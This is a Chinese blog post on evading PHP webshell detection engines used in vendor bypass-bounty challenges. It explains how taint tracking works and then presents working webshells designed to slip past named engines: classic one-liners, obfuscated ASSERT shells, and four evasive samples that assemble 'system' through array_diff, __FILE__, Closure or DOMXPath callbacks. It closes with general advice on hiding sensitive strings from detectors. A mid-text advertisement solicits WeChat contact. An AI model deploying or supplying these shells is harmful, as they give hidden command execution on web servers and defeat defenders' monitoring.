0x01 前言
最近很多家廠商都陸續開放了自己的Webshell檢測引擎,并且公開介面,邀請眾安全研究員參加嘗試bypass檢測引擎,并且給予獎勵,我也參加了幾場類似的活動,有ASRC的伏魔計劃,也有TSRC的獵刃計劃,還有最近正在進行的長亭的牧云(Aka.關山)Webshell檢測引擎,如果你都參加或者關注了這三個比賽,你會發現他們都提到了以下幾個技術:
1、詞法分析
2、污點追蹤
3、惡意代碼檢測
這些新技術我們后面的章節中,我們先講一下傳統的Webshell檢測機制,再對照著最新的Webshell檢測技術來說明一下如何在新技術下做免殺Webshell(本文所有Webshell基于PHP語言)
0x02 傳統Webshell檢測
傳統的Webshell檢測技術主要依賴于字串的正則特征,在面對于已知的樣本可以做到高準確率檢測,在長時間的樣本收取下,也可以做到滿足日常運維中的Webshell檢測,舉幾個經典的Webshell樣本
1、經典一句話Webshell
<?php eval($_GET['cmd']);?>
2、反序列化Webshell
<?php Class H3{ function __destruct(){ eval($this->c); } } $a= new H3; $a->c = $_GET['cmd'];
3、無字母Webshell
<?php $_ = 97; $__ = 97 + 18; //s $___ = $__ + 6; //y $____ = $__ + 1; //t $_____ = $_ + 4; //e $______ = $__ - 6; //m ? $res = chr($__).chr($___).chr($__).chr($____).chr($_____).chr($______); $_= $_POST['cmd']; $res($_);
但是對于當下的技術發展,黑客們可以更加精心的撰寫Webshell來"騙"過傳統的Webshell檢測機制,而且Webshell易變形,在面對0day樣本的時候,傳統Webshell檢測就會效果欠佳,也就需要更加全面的手段來與其抗衡
0x03 新型Webshell檢測
對于現如今的情況下,傳統的Webshell檢測對于0day樣本的檢測效率已經不是特別好了,所以這時候就需要一種"主動"的檢測方式,能夠讓引擎主動去理解腳本、分析樣本,發現樣本中的惡意行為,而不是依靠人工來添加Webshell特征,
1、污點追蹤
舉個例子,對于一個Webshell來說,如果要進行任意命令執行,就一定要獲取外界資料,對于PHP來說也就是$_GET、$_POST來接受資料,而要想任意命令執行,這些接收到的資料也就一定要最終傳遞到eval、system等函式中,而污點追蹤技術就是利用這一點,如果樣本中的外界變數通過不斷傳遞,最終進入到危險函式中,那基本上就可以斷定為Webshell,將外界變數視為污點源,危險函式視為污點匯聚點,跟蹤污點傳播程序,判斷污點變數是否被洗白,最終是否進入污點匯聚點,畫一個流程圖如下:
2、詞法分析
檢測引擎會將各種腳本語言進行詞法語法分析,然后構建控制流圖和資料流圖,并在圖上跟蹤外界污點變數的傳遞,使用外界變數是WebShell非常重要的特征,如果發現外界變數最終進入了命令執行函式,就可以判斷為Webshell,
引擎可以將傳統的條件、回圈、函式、物件的靜態分析,目前還可以支持動態變數名、箭頭函式、反射、回呼等動態特性的分析,大大的強化的未知樣本的檢測成功率,
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
3、加密還原
在此之前我們的Webshell常用的繞過檢測的方法就是通過加密來繞過,例子如下:
<?php $_=[]; $_=@"$_"; // $_='Array'; $_=$_['!'=='@']; // $_=$_[0]; $___=$_; // A $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; // S $___.=$__; // S $__=$_; $__++;$__++;$__++;$__++; // E $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $___.=$__; $____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $____.=$__; ? $_=$$____; $___(base64_decode($_[_])); // ASSERT($_POST[_]);
該樣本利用了混淆和加密兩種技術,但是現如今的檢測引擎都具備有對市面上的大部分PHP加密混淆進行“脫殼”和利用動態分析PHP執行器進行虛擬執行,將混淆加密的代碼進行動態還原,解密后混淆和加密相當于明文傳輸,再利用污點追蹤技術和動靜態結合分析即可大大的提高檢測率,并且能夠有效減小誤報率,同時也讓這種在之前百試不爽的技巧無法使用,
0x04 如果Bypass掉新型檢測引擎
我們要知道原理就可以想辦法如何“蒙騙“住檢測引擎,如果大家研究過,或者說親身參與到了bypass挑戰賽中,就能感受到無論是動靜態還是什么技術,最后都是根據污點追蹤法則來進行檢測,污點追蹤的流程在上一節提到了,目前我們有兩個方法:
1、利用PHP中其他的命令執行的方法,讓檢測引擎識別不出這是污點匯集點
2、打斷污點追蹤的程序,讓污點匯集點不落地
拿出一個樣本我們來結合代碼說明(以下樣本分別bypass的引擎會標注出來,截止筆者寫這篇的文章的時候只有牧云webshell檢測引擎正在開啟)
樣本1
<?php //ASRC伏魔引擎bypass $result = array_diff(["s","a","b","ys","te","m"],["a","b"]); $a = join($result); array_map($a,(array)$_REQUEST['1']); ?>
講一下原理,首先我們需要利用技巧(PHP本身的特性),來阻斷污點追蹤的程序,我在fuzz測驗的時候發現了array_map()這個函式存在callback并且能夠逃避檢測
那么首先的能夠bypass的污點匯集點已經有了,接下里來就是尋找其他函式來將變數"洗白",我選擇了array_diff()
這樣就可以利用該函式拼湊出一個system函式,再利用array_map()的callback來做命令執行
結果如下:
這樣就完成了最簡單的一次bypass
樣本2
<?php //bypass 牧云 檔案名需要設定為system $filename=substr(__FILE__,-10,6); $command=$_POST[1]; $filename($command);
__FILE__是PHP的一個魔術常量,它會回傳當前執行PHP腳本的完整路徑和檔案名,我們利用substr()函式逆著截取,就能獲得system再利用變數做函式的方式,打斷了污點追蹤的程序,進行命令執行,也可以成功bypass掉牧云引擎,
結果如下:
牧云引擎檢測結果如下:
樣本3
<?php //bypass 牧云 and TAV反病毒引擎+洋蔥惡意代碼檢測引擎 class A{ public function __construct(){} ? public function __wakeup(){ $b = $_GET[1]; $result = array_diff(["s","a","b","ys","te","m"],["a","b"]); $a = join($result); Closure::fromCallable($a)->__invoke($_REQUEST[2]); } } ? @unserialize('O:1:"A":1:{s:10:" A comment";N;}');
這個套了一層反序列化,隱藏污點匯集點的方法與樣本一相同,利用陣列差級構造system后利用原生類Closure的fromCallable函式
進行命令執行(在牧云中array_diff(["s","a","b","ys","te","m"],["a","b"]);這種方式會被check,索性換成動態控制,這樣也能打斷污點追蹤)
結果如下:
樣本4
<?php // dom and xml needed, install php-xml and leave php.ini as default. // Author:LemonPrefect $cmd = $_GET[3]; $_REQUEST[1] = "//book[php:functionString('system', '$cmd') = 'PHP']"; $_REQUEST[2] = ["php", "http://php.net/xpath"]; $xml = <<< XML <?xml version="1.0" encoding="UTF-8"?> <books> <book> <title>We are the champions</title> <author>LemonPrefect</author> <author>H3h3QAQ</author> </book> </books> XML; ? $doc = new DOMDocument; $doc->loadXML($xml); $clazz = (new ReflectionClass("DOMXPath")); $instance = $clazz->newInstance($doc); $clazz->getMethod("registerNamespace")->getClosure($instance)->__invoke(...$_REQUEST[2]); $clazz->getMethod("registerPHPFunctions")->invoke($instance); $clazz->getMethod("query")->getClosure($instance)->__invoke($_REQUEST[1]);
該樣本需要一些條件,前提是開啟了php-xml拓展才可以,其原理就是用XML去注冊一個registerPHPFunctions,也就是我們想要執行的system再利用getClosure去觸發該方法而構成的webshell,其中即利用到了PHP的特性,利用registerNamespace和registerPHPFunctions來中斷污點追蹤,從而RCE
結果如下:
0x05 總結
在構造Webshell的時候,我們如果知道Webshell檢測引擎原理,就知道如何去bypass了,對于怎樣過掉Webshell引擎這件事,需要開動腦筋多去找一下PHP的檔案,去找一下原生類和其他能夠中斷污點追蹤的方法,讓引擎跟蹤不到你的行為,而且盡量不要讓敏感字串出現在代碼本體,因為有的引擎還是有字串的正則特征檢測,同時也要學會分析,分析自己的Webshell到底哪里出的問題,從而找到更好的方法去替換,
更多靶場實驗練習、網安學習資料,請點擊這里>>
搜索
復制
合天智匯:合天網路靶場、網安實戰虛擬環境轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/501073.html
標籤:其他
上一篇:centos 8 ubuntu20 安裝及搭建lamp環境程序,以及docker,python,dvwa全程序(個人實測)
下一篇:HCIA學習筆記八:子網掩碼劃分
